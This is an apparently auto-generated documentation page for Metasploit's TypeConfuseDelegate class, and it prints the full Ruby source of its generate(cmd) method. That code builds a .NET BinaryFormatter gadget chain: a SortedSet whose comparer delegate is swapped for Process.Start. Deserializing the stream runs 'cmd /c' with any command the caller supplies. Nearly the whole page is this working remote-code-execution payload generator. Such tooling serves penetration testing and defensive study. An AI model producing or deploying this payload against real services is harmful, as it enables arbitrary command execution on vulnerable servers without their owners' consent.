Class: Msf::Util::DotNetDeserialization::GadgetChains::TypeConfuseDelegate
- Inherits:
-
Types::SerializedStream
- Object
- BinData::Record
- Types::SerializedStream
- Msf::Util::DotNetDeserialization::GadgetChains::TypeConfuseDelegate
- Defined in:
- lib/msf/util/dot_net_deserialization/gadget_chains/type_confuse_delegate.rb
Class Method Summary collapse
-
.generate(cmd) ⇒ Object
TypeConfuseDelegate Credits: Finders: James Forshaw Contributors: Alvaro Munoz.
Methods inherited from Types::SerializedStream
from_values, #get_object, #set_object
Class Method Details
.generate(cmd) ⇒ Object
TypeConfuseDelegate
Credits:
Finders: James Forshaw
Contributors: Alvaro Munoz
13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 |
# File 'lib/msf/util/dot_net_deserialization/gadget_chains/type_confuse_delegate.rb', line 13 def self.generate(cmd) mscorlib = Assemblies::VERSIONS['4.0.0.0'].fetch('mscorlib') system = Assemblies::VERSIONS['4.0.0.0'].fetch('System') library = Types::RecordValues::BinaryLibrary.new( library_id: 2, library_name: system.to_s ) obj_id_8 = Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values( class_info: Types::General::ClassInfo.new( obj_id: 8, name: 'System.DelegateSerializationHolder+DelegateEntry', member_names: %w{ type assembly target targetTypeAssembly targetTypeName methodName delegateEntry } ), member_type_info: Types::General::MemberTypeInfo.new( binary_type_enums: %i{ String String Object String String String SystemClass }, additional_infos: [ 'System.DelegateSerializationHolder+DelegateEntry' ] ), member_values: [ Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 11, string: "System.Func`3[[#{mscorlib['System.String']}],[#{mscorlib['System.String']}],[#{system['System.Diagnostics.Process']}]]" )), Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 12, string: mscorlib.to_s )), Types::Record.from_value(Types::RecordValues::ObjectNull.new), Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 13, string: system.to_s )), Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 14, string: 'System.Diagnostics.Process' )), Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 15, string: 'Start' )), Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 16)) ] ) obj_id_9 = Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values( class_info: Types::General::ClassInfo.new( obj_id: 9, name: 'System.Reflection.MemberInfoSerializationHolder', member_names: %w{ Name AssemblyName ClassName Signature Signature2 MemberType GenericArguments } ), member_type_info: Types::General::MemberTypeInfo.new( binary_type_enums: %i{ String String String String String Primitive SystemClass }, additional_infos: [ Enums::PrimitiveTypeEnum.fetch(:Int32), 'System.Type[]' ] ), member_values: [ Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 15)), Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 13)), Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 14)), Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 20, string: 'System.Diagnostics.Process Start(System.String, System.String)' )), Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 21, string: 'System.Diagnostics.Process Start(System.String, System.String)' )), 8, Types::Record.from_value(Types::RecordValues::ObjectNull.new) ] ) self.from_values([ Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1), library, Types::RecordValues::ClassWithMembersAndTypes.from_member_values( class_info: Types::General::ClassInfo.new( obj_id: 1, name: "System.Collections.Generic.SortedSet`1[[#{mscorlib['System.String']}]]", member_names: %w{ Count Comparer Version Items } ), member_type_info: Types::General::MemberTypeInfo.new( binary_type_enums: %i{ Primitive SystemClass Primitive StringArray }, additional_infos: [ Enums::PrimitiveTypeEnum.fetch(:Int32), "System.Collections.Generic.ComparisonComparer`1[[#{mscorlib['System.String']}]]", Enums::PrimitiveTypeEnum.fetch(:Int32) ] ), library_id: library.library_id, member_values: [ 2, Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 3)), 2, Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 4)) ] ), Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values( class_info: Types::General::ClassInfo.new( obj_id: 3, name: "System.Collections.Generic.ComparisonComparer`1[[#{mscorlib['System.String']}]]", member_names: %w{ _comparison } ), member_type_info: Types::General::MemberTypeInfo.new( binary_type_enums: %i{ SystemClass }, additional_infos: [ 'System.DelegateSerializationHolder' ] ), member_values: [ Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 5)) ] ), Types::RecordValues::ArraySingleString.new( array_info: {obj_id: 4, member_count: 2}, members: [ Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(obj_id: 6, string: "/c #{cmd}")), Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(obj_id: 7, string: 'cmd')) ] ), Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values( class_info: Types::General::ClassInfo.new( obj_id: 5, name: 'System.DelegateSerializationHolder', member_names: %w{ Delegate method0 method1 } ), member_type_info: Types::General::MemberTypeInfo.new( binary_type_enums: %i{ SystemClass SystemClass SystemClass }, additional_infos: [ 'System.DelegateSerializationHolder+DelegateEntry', 'System.Reflection.MemberInfoSerializationHolder', 'System.Reflection.MemberInfoSerializationHolder' ] ), member_values: [ Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 8)), Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 9)), Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 10)) ] ), obj_id_8, obj_id_9, Types::RecordValues::ClassWithId.from_member_values( obj_id: 10, metadata_id: 9, class_info: obj_id_9.class_info, member_type_info: obj_id_9.member_type_info, member_values: [ Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 22, string: 'Compare' )), Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 12)), Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 24, string: 'System.String' )), Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 25, string: 'Int32 Compare(System.String, System.String)' )), Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 26, string: 'System.Int32 Compare(System.String, System.String)' )), 8, Types::Record.from_value(Types::RecordValues::ObjectNull.new) ] ), Types::RecordValues::ClassWithId.from_member_values( obj_id: 16, metadata_id: 8, class_info: obj_id_8.class_info, member_type_info: obj_id_8.member_type_info, member_values: [ Types::Record.from_value(Types::RecordValues::BinaryObjectString.new( obj_id: 27, string: "System.Comparison`1[[#{mscorlib['System.String']}]]" )), Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 12)), Types::Record.from_value(Types::RecordValues::ObjectNull.new), Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 12)), Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 24)), Types::Record.from_value(Types::RecordValues::MemberReference.new(id_ref: 22)), Types::Record.from_value(Types::RecordValues::ObjectNull.new) ] ), Types::RecordValues::MessageEnd.new, ]) end |